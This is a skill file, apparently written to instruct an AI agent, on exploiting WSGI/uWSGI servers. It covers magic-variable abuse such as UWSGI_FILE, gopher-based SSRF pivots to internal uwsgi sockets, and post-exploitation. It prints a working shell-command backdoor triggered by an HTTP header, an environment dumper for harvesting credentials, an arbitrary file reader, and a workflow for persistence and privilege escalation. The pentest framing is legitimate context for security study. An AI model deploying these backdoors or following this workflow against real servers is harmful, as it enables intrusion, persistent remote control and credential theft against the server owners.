Hacktricks-skills wsgi-pentesting
Use this skill for WSGI/uWSGI post-exploitation attacks including magic variable exploitation, SSRF-to-uWSGI pivots via gopher protocol, and backdoor deployment. Trigger when the user mentions WSGI, uWSGI, uwsgi protocol, magic variables, UWSGI_FILE, SSRF to backend, or needs to exploit WSGI misconfigurations for RCE.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/network-services-pentesting/pentesting-web/wsgi/SKILL.MDWSGI/uWSGI Post-Exploitation Skill
This skill helps you exploit WSGI/uWSGI misconfigurations for remote code execution, information disclosure, and persistence.
When to Use This Skill
Use this skill when:
- You've identified a WSGI/uWSGI backend behind a reverse proxy
- You have SSRF access to an internal uwsgi socket
- You need to exploit uWSGI magic variables for RCE
- You want to deploy persistent backdoors via WSGI
- You're investigating WSGI-related vulnerabilities
Core Attack Vectors
1. Magic Variable Exploitation
uWSGI magic variables are special parameters that control how the instance loads applications. If a proxy maps user input to uwsgi params, you can achieve RCE.
Key Exploitable Variables
| Variable | Purpose | Example |
|---|---|---|
| Load arbitrary Python file | |
| Load module:callable | |
| Load Python module | |
| Call specific function | |
| Set environment variables | |
| Change Python venv | |
| Change working directory | |
Common Misconfigurations
Look for these dangerous nginx mappings:
# DANGEROUS: maps query args into uwsgi params uwsgi_param UWSGI_FILE $arg_f; # DANGEROUS: maps headers into uwsgi params uwsgi_param UWSGI_MODULE $http_x_mod; # DANGEROUS: maps query args into callable uwsgi_param UWSGI_CALLABLE $arg_c;
2. SSRF + uWSGI Protocol Pivot
If you have SSRF and the uWSGI instance listens on an internal TCP socket, you can craft raw uwsgi protocol packets via gopher.
Protocol Structure
Header (4 bytes): - modifier1 (1 byte): usually 0 - datasize (2 bytes, little-endian): body length - modifier2 (1 byte): usually 0 Body: - Sequence of [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
Generate Gopher Payload
Use the bundled script to generate payloads:
python scripts/uwsgi_gopher_generator.py \ --host 127.0.0.1 \ --port 3031 \ --uwsgi-file /app/profiles/malicious.py \ --script-name /malicious.py
Or use the Python API:
from scripts.uwsgi_gopher_generator import generate_uwsgi_gopher params = { 'SERVER_PROTOCOL': 'HTTP/1.1', 'REQUEST_METHOD': 'GET', 'PATH_INFO': '/', 'UWSGI_FILE': '/app/profiles/malicious.py', 'SCRIPT_NAME': '/malicious.py' } url = generate_uwsgi_gopher('127.0.0.1', 3031, params) print(url)
3. Post-Exploitation Techniques
File-Based Backdoor
Generate a backdoor with the bundled script:
python scripts/uwsgi_backdoor_generator.py \ --output backdoor.py \ --trigger-header X-CMD \ --response-type text/plain
Or create manually:
# backdoor.py import subprocess, base64 def application(environ, start_response): cmd = environ.get('HTTP_X_CMD', '') if cmd: result = subprocess.run( base64.b64decode(cmd), shell=True, capture_output=True, text=True ) response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}" else: response = 'Backdoor active' start_response('200 OK', [('Content-Type', 'text/plain')]) return [response.encode()]
Load it with:
UWSGI_FILE=/path/to/backdoor.py SCRIPT_NAME=/backdoor
Environment Variable Dumping
# env_dump.py import os, json def application(environ, start_response): env_data = { 'os_environ': dict(os.environ), 'wsgi_environ': dict(environ) } start_response('200 OK', [('Content-Type', 'application/json')]) return [json.dumps(env_data, indent=2).encode()]
File System Access
Combine
UWSGI_CHDIR with a file-serving helper:
# file_browser.py import os def application(environ, start_response): path = environ.get('PATH_INFO', '/') try: if os.path.isdir(path): files = os.listdir(path) content = '\n'.join(files) else: with open(path, 'r') as f: content = f.read() start_response('200 OK', [('Content-Type', 'text/plain')]) return [content.encode()] except Exception as e: start_response('500 Error', [('Content-Type', 'text/plain')]) return [str(e).encode()]
4. Privilege Escalation
If uWSGI runs with elevated privileges:
# malicious_config.py import os # Override uWSGI configuration os.environ['UWSGI_MASTER'] = '1' os.environ['UWSGI_PROCESSES'] = '1' os.environ['UWSGI_CHEAPER'] = '1'
Or use
UWSGI_SETENV to modify environment:
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
Attack Workflow
Step 1: Reconnaissance
- Identify if target uses WSGI/uWSGI
- Check for exposed uwsgi sockets (common ports: 3031, 5000, 8000)
- Look for SSRF vulnerabilities that can reach internal sockets
- Fingerprint proxy configuration (nginx, Apache mod_proxy_uwsgi)
Step 2: Exploitation
-
If magic variables are exposed via HTTP:
- Craft requests with controlled parameters
- Use
to load attacker-controlled filesUWSGI_FILE - Use
+UWSGI_MODULE
for dynamic loadingUWSGI_CALLABLE
-
If SSRF to uwsgi socket exists:
- Generate gopher payload with
scripts/uwsgi_gopher_generator.py - Set
to malicious payloadUWSGI_FILE - Send through SSRF sink
- Generate gopher payload with
Step 3: Post-Exploitation
- Deploy persistent backdoor
- Dump environment variables for credentials
- Access sensitive files
- Escalate privileges if possible
Known Vulnerabilities
- CVE-2023-27522: Apache httpd 2.4.30–2.4.55 response smuggling with mod_proxy_uwsgi
- CVE-2024-24795: Apache httpd 2.4.59 HTTP response splitting
Check proxy versions and consider desync/smuggling as entry points.